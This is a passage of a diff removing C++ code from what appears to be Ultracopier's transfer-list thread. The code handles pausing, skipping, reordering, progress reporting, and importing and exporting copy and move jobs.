- transferThreadList.at(index)->set_checksumOnlyOnError(checksumOnlyOnError);
- index++;
- }
-}
-
-void ListThread::set_osBuffer(bool osBuffer)
-{
- this->osBuffer=osBuffer;
- int index=0;
- loop_sub_size_transfer_thread_search=transferThreadList.size();
- while(index<loop_sub_size_transfer_thread_search)
- {
- transferThreadList.at(index)->set_osBuffer(osBuffer);
- index++;
- }
-}
-
-void ListThread::set_osBufferLimited(bool osBufferLimited)
-{
- this->osBufferLimited=osBufferLimited;
- int index=0;
- loop_sub_size_transfer_thread_search=transferThreadList.size();
- while(index<loop_sub_size_transfer_thread_search)
- {
- transferThreadList.at(index)->set_osBufferLimited(osBufferLimited);
- index++;
- }
-}
-
-void ListThread::realByteTransfered()
-{
- quint64 totalRealByteTransfered=0;
- int index=0;
- loop_sub_size_transfer_thread_search=transferThreadList.size();
- while(index<loop_sub_size_transfer_thread_search)
- {
- totalRealByteTransfered+=transferThreadList.at(index)->realByteTransfered();
- index++;
- }
- emit send_realBytesTransfered(totalRealByteTransfered);
-}
-
-void ListThread::pause()
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- if(putInPause)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"Seam already in pause!");
- return;
- }
- putInPause=true;
- int index=0;
- loop_sub_size_transfer_thread_search=transferThreadList.size();
- while(index<loop_sub_size_transfer_thread_search)
- {
- transferThreadList.at(index)->pause();
- index++;
- }
- emit isInPause(true);
-}
-
-void ListThread::resume()
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- if(!putInPause)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"Seam already resumed!");
- return;
- }
- putInPause=false;
- startGeneralTransfer();
- doNewActions_start_transfer();
- int index=0;
- loop_sub_size_transfer_thread_search=transferThreadList.size();
- while(index<loop_sub_size_transfer_thread_search)
- {
- transferThreadList.at(index)->resume();
- index++;
- }
- emit isInPause(false);
-}
-
-void ListThread::skip(const quint64 &id)
-{
- skipInternal(id);
-// emit newActionOnList();
-}
-
-bool ListThread::skipInternal(const quint64 &id)
-{
- int index=0;
- loop_sub_size_transfer_thread_search=transferThreadList.size();
- while(index<loop_sub_size_transfer_thread_search)
- {
- if(transferThreadList.at(index)->transferId==id)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("skip one transfer: %1").arg(id));
- transferThreadList.at(index)->skip();
- return true;
- }
- index++;
- }
- int_for_internal_loop=0;
- loop_size=actionToDoListTransfer.size();
- while(int_for_internal_loop<loop_size)
- {
- if(actionToDoListTransfer.at(int_for_internal_loop).id==id)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("[%1] remove at not running, for id: %2").arg(int_for_internal_loop).arg(id));
- returnActionOnCopyList newAction;
- newAction.type=RemoveItem;
- newAction.addAction.id=id;
- newAction.userAction.position=int_for_internal_loop;
- actionDone << newAction;
- actionToDoListTransfer.removeAt(int_for_internal_loop);
- if(actionToDoListTransfer.size()==0 && actionToDoListInode.size()==0 && actionToDoListInode_afterTheTransfer.size()==0)
- updateTheStatus();
- return true;
- }
- int_for_internal_loop++;
- }
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,QString("skip transfer not found: %1").arg(id));
- return false;
-}
-
-void ListThread::cancel()
-{
- if(stopIt)
- {
- waitCancel.release();
- return;
- }
- stopIt=true;
- int index=0;
- loop_size=transferThreadList.size();
- while(index<loop_size)
- {
- transferThreadList.at(index)->stop();
- delete transferThreadList.at(index);//->deleteLayer();
- transferThreadList[index]=NULL;
- index++;
- }
- index=0;
- loop_size=scanFileOrFolderThreadsPool.size();
- while(index<loop_size)
- {
- scanFileOrFolderThreadsPool.at(index)->stop();
- delete scanFileOrFolderThreadsPool.at(index);//->deleteLayer();
- scanFileOrFolderThreadsPool[index]=NULL;
- index++;
- }
- quit();
- waitCancel.release();
- emit canBeDeleted();
-}
-
-//speed limitation
-qint64 ListThread::getSpeedLimitation()
-{
- return maxSpeed;
-}
-
-bool ListThread::setSpeedLimitation(const qint64 &speedLimitation)
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"maxSpeed: "+QString::number(speedLimitation));
- maxSpeed=speedLimitation;
- int_for_loop=0;
- loop_size=transferThreadList.size();
- while(int_for_loop<loop_size)
- {
- transferThreadList.at(int_for_loop)->setMaxSpeed(speedLimitation/ULTRACOPIER_PLUGIN_MAXPARALLELTRANFER);
- int_for_loop++;
- }
- return true;
-}
-
-void ListThread::updateTheStatus()
-{
- /*if(threadOfTheTransfer.haveContent())
- copy=true;*/
- updateTheStatus_listing=scanFileOrFolderThreadsPool.size()>0;
- updateTheStatus_copying=actionToDoListTransfer.size()>0 || actionToDoListInode.size()>0 || actionToDoListInode_afterTheTransfer.size()>0;
- if(updateTheStatus_copying && updateTheStatus_listing)
- updateTheStatus_action_in_progress=CopyingAndListing;
- else if(updateTheStatus_listing)
- updateTheStatus_action_in_progress=Listing;
- else if(updateTheStatus_copying)
- updateTheStatus_action_in_progress=Copying;
- else
- updateTheStatus_action_in_progress=Idle;
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"emit actionInProgess("+QString::number(updateTheStatus_action_in_progress)+")");
- emit actionInProgess(updateTheStatus_action_in_progress);
- if(updateTheStatus_action_in_progress==Idle)
- sendActionDone();
-}
-
-//set data local to the thread
-void ListThread::setAlwaysFileExistsAction(FileExistsAction alwaysDoThisActionForFileExists)
-{
- this->alwaysDoThisActionForFileExists=alwaysDoThisActionForFileExists;
- int_for_loop=0;
- loop_size=transferThreadList.size();
- while(int_for_loop<loop_size)
- {
- transferThreadList.at(int_for_loop)->setAlwaysFileExistsAction(alwaysDoThisActionForFileExists);
- int_for_loop++;
- }
-}
-
-//mk path to do
-quint64 ListThread::addToMkPath(const QString& folder)
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"folder: "+folder);
- actionToDoInode temp;
- temp.type = ActionType_MkPath;
- temp.id = generateIdNumber();
- temp.folder.setFile(folder);
- temp.isRunning = false;
- actionToDoListInode << temp;
- return temp.id;
-}
-
-//add rm path to do
-void ListThread::addToRmPath(const QString& folder,const int& inodeToRemove)
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"folder: "+folder+",inodeToRemove: "+QString::number(inodeToRemove));
- actionToDoInode temp;
- temp.type = ActionType_RmPath;
- temp.id = generateIdNumber();
- temp.size = inodeToRemove;
- temp.folder.setFile(folder);
- temp.isRunning = false;
- if(inodeToRemove==0)
- actionToDoListInode << temp;
- else
- actionToDoListInode_afterTheTransfer << temp;
-}
-
-//send action done
-void ListThread::sendActionDone()
-{
- if(actionDone.size()>0)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- emit newActionOnList(actionDone);
- actionDone.clear();
- }
-}
-
-//send progression
-void ListThread::sendProgression()
-{
- if(actionToDoListTransfer.size()==0)
- return;
- oversize=0;
- currentProgression=0;
- int_for_loop=0;
- loop_size=transferThreadList.size();
- while(int_for_loop<loop_size)
- {
- temp_transfer_thread=transferThreadList.at(int_for_loop);
- if(temp_transfer_thread->getStat()==TransferStat_Transfer || temp_transfer_thread->getStat()==TransferStat_Checksum)
- {
- copiedSize=temp_transfer_thread->copiedSize();
-
- //for the general progression
- currentProgression+=copiedSize;
-
- //the oversize (when the file is bigger after/during the copy then what was during the listing)
- if(copiedSize>(qint64)temp_transfer_thread->transferSize)
- localOverSize=copiedSize-temp_transfer_thread->transferSize;
- else
- localOverSize=0;
-
- //the current size copied
- totalSize=temp_transfer_thread->transferSize+localOverSize;
- if(temp_transfer_thread->getStat()==TransferStat_Checksum)
- tempItem.current=temp_transfer_thread->realByteTransfered();
- else
- tempItem.current=copiedSize;
- tempItem.id=temp_transfer_thread->transferId;
- tempItem.total=totalSize;
- progressionList << tempItem;
-
- //add the oversize to the general progression
- oversize+=localOverSize;
- }
- int_for_loop++;
- }
- emit pushFileProgression(progressionList);
- progressionList.clear();
- emit pushGeneralProgression(bytesTransfered+currentProgression,bytesToTransfer+oversize);
- realByteTransfered();
-}
-
-//send the progression, after full reset of the interface (then all is empty)
-void ListThread::syncTransferList_internal()
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- emit syncReady();
- actionDone.clear();
- //do list operation
- TransferThread *transferThread;
- loop_size=actionToDoListTransfer.size();
- loop_sub_size=transferThreadList.size();
- //this loop to have at max ULTRACOPIER_PLUGIN_MAXPARALLELINODEOPT*ULTRACOPIER_PLUGIN_MAXPARALLELINODEOPT, not ULTRACOPIER_PLUGIN_MAXPARALLELINODEOPT*transferThreadList.size()
- for(int_for_loop=0; int_for_loop<loop_size; ++int_for_loop) {
- const actionToDoTransfer &item=actionToDoListTransfer.at(int_for_loop);
- returnActionOnCopyList newAction;
- newAction.type = PreOperation;
- newAction.addAction.id = item.id;
- newAction.addAction.sourceFullPath = item.source.absoluteFilePath();
- newAction.addAction.sourceFileName = item.source.fileName();
- newAction.addAction.destinationFullPath = item.destination.absoluteFilePath();
- newAction.addAction.destinationFileName = item.destination.fileName();
- newAction.addAction.size = item.size;
- newAction.addAction.mode = item.mode;
- actionDone << newAction;
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("id: %1, size: %2, name: %3, size2: %4").arg(item.id).arg(item.size).arg(item.source.absoluteFilePath()).arg(newAction.addAction.size));
- if(item.isRunning)
- {
- for(int_for_internal_loop=0; int_for_internal_loop<loop_sub_size; ++int_for_internal_loop) {
- transferThread=transferThreadList.at(int_for_internal_loop);
- returnActionOnCopyList newAction;
- newAction.type = PreOperation;
- newAction.addAction.id = item.id;
- newAction.addAction.sourceFullPath = item.source.absoluteFilePath();
- newAction.addAction.sourceFileName = item.source.fileName();
- newAction.addAction.destinationFullPath = item.destination.absoluteFilePath();
- newAction.addAction.destinationFileName = item.destination.fileName();
- newAction.addAction.size = item.size;
- newAction.addAction.mode = item.mode;
- actionDone << newAction;
- if(transferThread->getStat()!=TransferStat_PreOperation)
- {
- returnActionOnCopyList newAction;
- switch(transferThread->getStat())
- {
- case TransferStat_Transfer:
- newAction.type=Transfer;
- break;
- case TransferStat_PostTransfer:
- newAction.type=PostOperation;
- break;
- default:
- break;
- }
- newAction.addAction.id = item.id;
- actionDone << newAction;
- }
- }
- }
- }
-}
-
-//add file transfer to do
-quint64 ListThread::addToTransfer(const QFileInfo& source,const QFileInfo& destination,const CopyMode& mode)
-{
- //add to transfer list
- numberOfTransferIntoToDoList++;
- bytesToTransfer+= source.size();
- actionToDoTransfer temp;
- temp.id = generateIdNumber();
- temp.size = source.size();
- temp.source = source;
- temp.destination= destination;
- temp.mode = mode;
- temp.isRunning = false;
- actionToDoListTransfer << temp;
- //push the new transfer to interface
- returnActionOnCopyList newAction;
- newAction.type = AddingItem;
- newAction.addAction.id = temp.id;
- newAction.addAction.sourceFullPath = source.absoluteFilePath();
- newAction.addAction.sourceFileName = source.fileName();
- newAction.addAction.destinationFullPath = destination.absoluteFilePath();
- newAction.addAction.destinationFileName = destination.fileName();
- newAction.addAction.size = temp.size;
- newAction.addAction.mode = mode;
- actionDone << newAction;
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("source: %1, destination: %2, add entry: %3, size: %4, size2: %5").arg(source.absoluteFilePath()).arg(destination.absoluteFilePath()).arg(temp.id).arg(temp.size).arg(newAction.addAction.size));
- return temp.id;
-}
-
-//generate id number
-quint64 ListThread::generateIdNumber()
-{
- idIncrementNumber++;
- if(idIncrementNumber>(((quint64)1024*1024)*1024*1024*2))
- idIncrementNumber=0;
- return idIncrementNumber;
-}
-
-//warning the first entry is accessible will copy
-void ListThread::removeItems(const QList<int> &ids)
-{
- for(int i=0;i<ids.size();i++)
- skipInternal(ids.at(i));
-// emit newActionOnList();
-}
-
-//put on top
-void ListThread::moveItemsOnTop(QList<int> ids)
-{
- if(actionToDoListTransfer.size()<=1)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"list size is empty");
- return;
- }
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- //do list operation
- int indexToMove=0;
- loop_size=actionToDoListTransfer.size();
- for (int i=0; i<loop_size; ++i) {
- if(ids.contains(actionToDoListTransfer.at(i).id))
- {
- ids.removeOne(actionToDoListTransfer.at(i).id);
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("move item ")+QString::number(i)+" to "+QString::number(indexToMove));
- returnActionOnCopyList newAction;
- newAction.type=MoveItem;
- newAction.addAction.id=actionToDoListTransfer.at(i).id;
- newAction.userAction.moveAt=indexToMove;
- newAction.userAction.position=i;
- actionDone << newAction;
- actionToDoListTransfer.move(i,indexToMove);
- indexToMove++;
- if(ids.size()==0)
- {
- //emit newActionOnList();
- return;
- }
- }
- }
-// emit newActionOnList();
-}
-
-//move up
-void ListThread::moveItemsUp(QList<int> ids)
-{
- if(actionToDoListTransfer.size()<=1)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"list size is empty");
- return;
- }
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- //do list operation
- int lastGoodPositionExtern=0;
- int lastGoodPositionReal=0;
- bool haveGoodPosition=false;
- bool haveChanged=false;
- loop_size=actionToDoListTransfer.size();
- for (int i=0; i<loop_size; ++i) {
- if(ids.contains(actionToDoListTransfer.at(i).id))
- {
- if(haveGoodPosition)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("move item ")+QString::number(i)+" to "+QString::number(i-1));
- returnActionOnCopyList newAction;
- newAction.type=MoveItem;
- newAction.addAction.id=actionToDoListTransfer.at(i).id;
- newAction.userAction.moveAt=lastGoodPositionExtern;
- newAction.userAction.position=i;
- actionDone << newAction;
- actionToDoListTransfer.swap(i,lastGoodPositionReal);
- haveChanged=true;
- }
- else
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("Try move up false, item ")+QString::number(i));
- ids.removeOne(actionToDoListTransfer.at(i).id);
- if(ids.size()==0)
- {
-/* if(haveChanged)
- emit newActionOnList();*/
- return;
- }
- }
- else
- {
- lastGoodPositionExtern++;
- lastGoodPositionReal=i;
- haveGoodPosition=true;
- }
- }
- //emit newActionOnList();
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"stop");
-}
-
-//move down
-void ListThread::moveItemsDown(QList<int> ids)
-{
- if(actionToDoListTransfer.size()<=1)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"list size is empty");
- return;
- }
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- //do list operation
- int lastGoodPositionExtern=numberOfTransferIntoToDoList;
- int lastGoodPositionReal=0;
- bool haveGoodPosition=false;
- bool haveChanged=false;
- for (int i=actionToDoListTransfer.size()-1; i>=0; --i) {
- if(ids.contains(actionToDoListTransfer.at(i).id))
- {
- if(haveGoodPosition)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("move item ")+QString::number(i)+" to "+QString::number(i+1));
- returnActionOnCopyList newAction;
- newAction.type=MoveItem;
- newAction.addAction.id=actionToDoListTransfer.at(i).id;
- newAction.userAction.moveAt=lastGoodPositionReal;
- newAction.userAction.position=i;
- actionDone << newAction;
- actionToDoListTransfer.swap(i,lastGoodPositionReal);
- haveChanged=true;
- }
- else
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("Try move up false, item ")+QString::number(i));
- }
- ids.removeOne(actionToDoListTransfer.at(i).id);
- if(ids.size()==0)
- {
-/* if(haveChanged)
- emit newActionOnList();*/
- return;
- }
- }
- else
- {
- lastGoodPositionExtern--;
- lastGoodPositionReal=i;
- haveGoodPosition=true;
- }
- }
- //emit newActionOnList();
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"stop");
-}
-
-//put on bottom
-void ListThread::moveItemsOnBottom(QList<int> ids)
-{
- if(actionToDoListTransfer.size()<=1)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"list size is empty");
- return;
- }
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- //do list operation
- int lastGoodPositionExtern=numberOfTransferIntoToDoList;
- int lastGoodPositionReal=actionToDoListTransfer.size()-1;
- for (int i=lastGoodPositionReal; i>=0; --i) {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("Check action on item ")+QString::number(i));
- if(ids.contains(actionToDoListTransfer.at(i).id))
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("move item ")+QString::number(i)+" to "+QString::number(lastGoodPositionReal));
- ids.removeOne(actionToDoListTransfer.at(i).id);
- returnActionOnCopyList newAction;
- newAction.type=MoveItem;
- newAction.addAction.id=actionToDoListTransfer.at(i).id;
- newAction.userAction.moveAt=lastGoodPositionExtern;
- newAction.userAction.position=i;
- actionDone << newAction;
- actionToDoListTransfer.move(i,lastGoodPositionReal);
- lastGoodPositionReal--;
- lastGoodPositionExtern--;
- if(ids.size()==0)
- {
-// emit newActionOnList();
- return;
- }
- }
- }
-// emit newActionOnList();
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"stop");
-}
-
-/** \brief give the forced mode, to export/import transfer list */
-void ListThread::forceMode(const CopyMode &mode)
-{
- if(mode==Copy)
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("Force mode to copy"));
- else
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("Force mode to move"));
- this->mode=mode;
- forcedMode=true;
-}
-
-void ListThread::exportTransferList(const QString &fileName)
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- QFile transferFile(fileName);
- if(transferFile.open(QIODevice::WriteOnly|QIODevice::Truncate))
- {
- transferFile.write(QString("Ultracopier-0.3;Transfer-list;").toUtf8());
- if(!forcedMode)
- transferFile.write(QString("Transfer;").toUtf8());
- else
- {
- if(mode==Copy)
- transferFile.write(QString("Copy;").toUtf8());
- else
- transferFile.write(QString("Move;").toUtf8());
- }
- transferFile.write(QString("Ultracopier-0.3\n").toUtf8());
- bool haveError=false;
- int size=actionToDoListTransfer.size();
- for (int index=0;index<size;++index) {
- if(actionToDoListTransfer.at(index).mode==Copy)
- {
- if(!forcedMode || mode==Copy)
- {
- if(forcedMode)
- transferFile.write(QString("%1;%2\n").arg(actionToDoListTransfer.at(index).source.absoluteFilePath()).arg(actionToDoListTransfer.at(index).destination.absoluteFilePath()).toUtf8());
- else
- transferFile.write(QString("Copy;%1;%2\n").arg(actionToDoListTransfer.at(index).source.absoluteFilePath()).arg(actionToDoListTransfer.at(index).destination.absoluteFilePath()).toUtf8());
- }
- else
- haveError=true;
- }
- else if(actionToDoListTransfer.at(index).mode==Move)
- {
- if(!forcedMode || mode==Move)
- {
- if(forcedMode)
- transferFile.write(QString("Move;%1;%2\n").arg(actionToDoListTransfer.at(index).source.absoluteFilePath()).arg(actionToDoListTransfer.at(index).destination.absoluteFilePath()).toUtf8());
- else
- transferFile.write(QString("%1;%2\n").arg(actionToDoListTransfer.at(index).source.absoluteFilePath()).arg(actionToDoListTransfer.at(index).destination.absoluteFilePath()).toUtf8());
- }
- else
- haveError=true;
- }
- }
- if(haveError)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,QString("Unable do to move or copy item into wrong forced mode: %1").arg(transferFile.errorString()));
- emit errorTransferList(tr("Unable do to move or copy item into wrong forced mode: %1").arg(transferFile.errorString()));
- }
- transferFile.close();
- }
- else
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,QString("Unable to save the transfer list: %1").arg(transferFile.errorString()));
- emit errorTransferList(tr("Unable to save the transfer list: %1").arg(transferFile.errorString()));
- return;
- }
-}
-
-void ListThread::importTransferList(const QString &fileName)
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- QFile transferFile(fileName);
- if(transferFile.open(QIODevice::ReadOnly))
- {
- QString content;
- QByteArray data=transferFile.readLine(64);
- if(data.size()<=0)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,QString("Problem at the reading, or file size is null"));
- emit errorTransferList(tr("Problem at the reading, or file size is null"));
- return;
- }
- content=QString::fromUtf8(data);
- if(content!="Ultracopier-0.3;Transfer-list;Transfer;Ultracopier-0.3\n" && content!="Ultracopier-0.3;Transfer-list;Copy;Ultracopier-0.3\n" && content!="Ultracopier-0.3;Transfer-list;Move;Ultracopier-0.3\n")
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,QString("Wrong header: \"%1\"").arg(content));
- emit errorTransferList(tr("Wrong header: \"%1\"").arg(content));
- return;
- }
- bool transferListMixedMode=false;
- if(content=="Ultracopier-0.3;Transfer-list;Transfer;Ultracopier-0.3\n")
- {
- if(forcedMode)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,QString("The transfer list is in mixed mode, but this instance is not in this mode"));
- emit errorTransferList(tr("The transfer list is in mixed mode, but this instance is not in this mode"));
- return;
- }
- else
- transferListMixedMode=true;
- }
- if(content=="Ultracopier-0.3;Transfer-list;Copy;Ultracopier-0.3\n" && (forcedMode && mode==Move))
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,QString("The transfer list is in copy mode, but this instance is not in this mode: forcedMode: %1, mode: %2").arg(forcedMode).arg(mode));
- emit errorTransferList(tr("The transfer list is in copy mode, but this instance is not in this mode"));
- return;
- }
- if(content=="Ultracopier-0.3;Transfer-list;Move;Ultracopier-0.3\n" && (forcedMode && mode==Copy))
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,QString("The transfer list is in move mode, but this instance is not in this mode: forcedMode: %1, mode: %2").arg(forcedMode).arg(mode));
- emit errorTransferList(tr("The transfer list is in move mode, but this instance is not in this mode"));
- return;
- }
- bool errorFound=false;
- QRegExp correctLine;
- if(transferListMixedMode)
- correctLine=QRegExp("^(Copy|Move);[^;]+;[^;]+\n$");
- else
- correctLine=QRegExp("^[^;]+;[^;]+\n$");
- QStringList args;
- CopyMode tempMode;
- do
- {
- data=transferFile.readLine(65535*2);
- if(data.size()>0)
- {
- content=QString::fromUtf8(data);
- //do the import here
- if(content.contains(correctLine))
- {
- content.remove("\n");
- args=content.split(";");
- if(forcedMode)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("New data to import in forced mode: %2,%3").arg(args.at(0)).arg(args.at(1)));
- addToTransfer(QFileInfo(args.at(0)),QFileInfo(args.at(1)),mode);
- }
- else
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("New data to import: %1,%2,%3").arg(args.at(0)).arg(args.at(1)).arg(args.at(2)));
- if(args.at(0)=="Copy")
- tempMode=Copy;
- else
- tempMode=Move;
- addToTransfer(QFileInfo(args.at(1)),QFileInfo(args.at(2)),tempMode);
- }
- }
- else
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,QString("Wrong line syntax: %1").arg(content));
- errorFound=true;
- }
- }
- }
- while(data.size()>0);
- transferFile.close();
- if(errorFound)
- emit warningTransferList(tr("Some error have been found during the line parsing"));
-// emit newActionOnList();
- }
- else
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,QString("Unable to open the transfer list: %1").arg(transferFile.errorString()));
- emit errorTransferList(tr("Unable to open the transfer list: %1").arg(transferFile.errorString()));
- return;
- }
-}
-
-//do new actions
-void ListThread::doNewActions_start_transfer()
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("actionToDoListTransfer.size(): %1, numberOfTranferRuning: %2").arg(actionToDoListTransfer.size()).arg(numberOfTranferRuning));
- if(stopIt || putInPause)
- return;
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- //lunch the transfer in WaitForTheTransfer
- int_for_loop=0;
- loop_size=transferThreadList.size();
- while(int_for_loop<loop_size && numberOfTranferRuning<ULTRACOPIER_PLUGIN_MAXPARALLELTRANFER)
- {
- if(transferThreadList.at(int_for_loop)->getStat()==TransferStat_WaitForTheTransfer)
- {
- transferThreadList.at(int_for_loop)->startTheTransfer();
- numberOfTranferRuning++;
- }
- int_for_loop++;
- }
- int_for_loop=0;
- while(int_for_loop<loop_size && numberOfTranferRuning<ULTRACOPIER_PLUGIN_MAXPARALLELTRANFER)
- {
- if(transferThreadList.at(int_for_loop)->getStat()==TransferStat_PreOperation)
- {
- transferThreadList.at(int_for_loop)->startTheTransfer();
- numberOfTranferRuning++;
- }
- int_for_loop++;
- }
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"numberOfTranferRuning: "+QString::number(numberOfTranferRuning));
-}
-
-/** \brief lunch the pre-op or inode op
- 1) locate the next next item to do into the both list
- 1a) optimisation posible on the mkpath/rmpath
- 2) determine what need be lunched
- 3) lunch it, rerun the 2)
- */
-void ListThread::doNewActions_inode_manipulation()
-{
- //ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("actionToDoList.size(): %1").arg(actionToDoList.size()));
- if(stopIt || putInPause)
- return;
- //ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- //lunch the pre-op or inode op
- int_for_loop=0;
- int_for_internal_loop=0;
- number_rm_path_moved=0;
- int_for_transfer_thread_search=0;
- actionToDoListTransfer_count=actionToDoListTransfer.count();
- actionToDoListInode_count=actionToDoListInode.count();
- loop_sub_size_transfer_thread_search=transferThreadList.size();
- //search the next transfer action to do
- while(int_for_loop<actionToDoListTransfer_count)
- {
- if(!actionToDoListTransfer[int_for_loop].isRunning)
- {
- //search the next inode action to do
- while(int_for_internal_loop<actionToDoListInode_count)
- {
- if(!actionToDoListInode[int_for_internal_loop].isRunning)
- {
- if(actionToDoListTransfer[int_for_loop].id<actionToDoListInode[int_for_internal_loop].id)
- {
- //do the tranfer action in the next code
- break;
- }
- else
- {
- //do the inode action
- #include "ListThread_InodeAction.cpp"
- }
- }
- int_for_internal_loop++;
- }
- actionToDoTransfer& currentActionToDoTransfer=actionToDoListTransfer[int_for_loop];
- //do the tranfer action
- while(int_for_transfer_thread_search<loop_sub_size_transfer_thread_search)
- {
- /**
- transferThreadList.at(int_for_transfer_thread_search)->transferId==0) /!\ important!
- Because the other thread can have call doNewAction before than this thread have the finish event parsed!
- I this case it lose all data
- */
- currentTransferThread=transferThreadList[int_for_transfer_thread_search];
- if(currentTransferThread->getStat()==TransferStat_Idle && currentTransferThread->transferId==0) // /!\ important!
- {
- currentTransferThread->transferId=currentActionToDoTransfer.id;
- currentTransferThread->transferSize=currentActionToDoTransfer.size;
- currentTransferThread->setFiles(
- currentActionToDoTransfer.source.absoluteFilePath(),
- currentActionToDoTransfer.size,
- currentActionToDoTransfer.destination.absoluteFilePath(),
- currentActionToDoTransfer.mode
- );
- currentActionToDoTransfer.isRunning=true;
-
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("[%1] id: %2 is idle, use it for %3").arg(int_for_loop).arg(currentTransferThread->transferId).arg(currentActionToDoTransfer.destination.absoluteFilePath()));
-
- /// \note wrong position? Else write why it's here
- returnActionOnCopyList newAction;
- newAction.type = PreOperation;
- newAction.addAction.id = currentActionToDoTransfer.id;
- newAction.addAction.sourceFullPath = currentActionToDoTransfer.source.absoluteFilePath();
- newAction.addAction.sourceFileName = currentActionToDoTransfer.source.fileName();
- newAction.addAction.destinationFullPath = currentActionToDoTransfer.destination.absoluteFilePath();
- newAction.addAction.destinationFileName = currentActionToDoTransfer.destination.fileName();
- newAction.addAction.size = currentActionToDoTransfer.size;
- newAction.addAction.mode = currentActionToDoTransfer.mode;
- actionDone << newAction;
- int_for_transfer_thread_search++;
- break;
- }
- int_for_transfer_thread_search++;
- }
- if(int_for_internal_loop==loop_sub_size_transfer_thread_search)
- {
- /// \note Can be normal when all thread is not initialized
- //ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"unable to found free thread to do the transfer");
- break;
- }
- numberOfInodeOperation++;
- if(numberOfInodeOperation>=ULTRACOPIER_PLUGIN_MAXPARALLELINODEOPT)
- return;
- }
- int_for_loop++;
- }
- //search the next inode action to do
- while(int_for_internal_loop<actionToDoListInode_count)
- {
- if(!actionToDoListInode[int_for_internal_loop].isRunning)
- {
- //do the inode action
- #include "ListThread_InodeAction.cpp"
- }
- int_for_internal_loop++;
- }
- //error checking
- if((actionToDoListTransfer_count+actionToDoListInode_count)>ULTRACOPIER_PLUGIN_MAXPARALLELINODEOPT)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,QString("The index have been detected as out of max range: %1>%2").arg(actionToDoListTransfer_count+actionToDoListInode_count).arg(ULTRACOPIER_PLUGIN_MAXPARALLELINODEOPT));
- return;
- }
-}
-
-//restart transfer if it can
-void ListThread::restartTransferIfItCan()
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- TransferThread *transfer=qobject_cast<TransferThread *>(QObject::sender());
- if(transfer==NULL)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,QString("transfer thread not located!"));
- return;
- }
- if(numberOfTranferRuning<ULTRACOPIER_PLUGIN_MAXPARALLELTRANFER && transfer->getStat()==TransferStat_WaitForTheTransfer)
- {
- transfer->startTheTransfer();
- numberOfTranferRuning++;
- }
- doNewActions_start_transfer();
-}
-
-/// \brief update the transfer stat
-void ListThread::newTransferStat(TransferStat stat,quint64 id)
-{
- returnActionOnCopyList newAction;
- switch(stat)
- {
- case TransferStat_Idle:
- return;
- break;
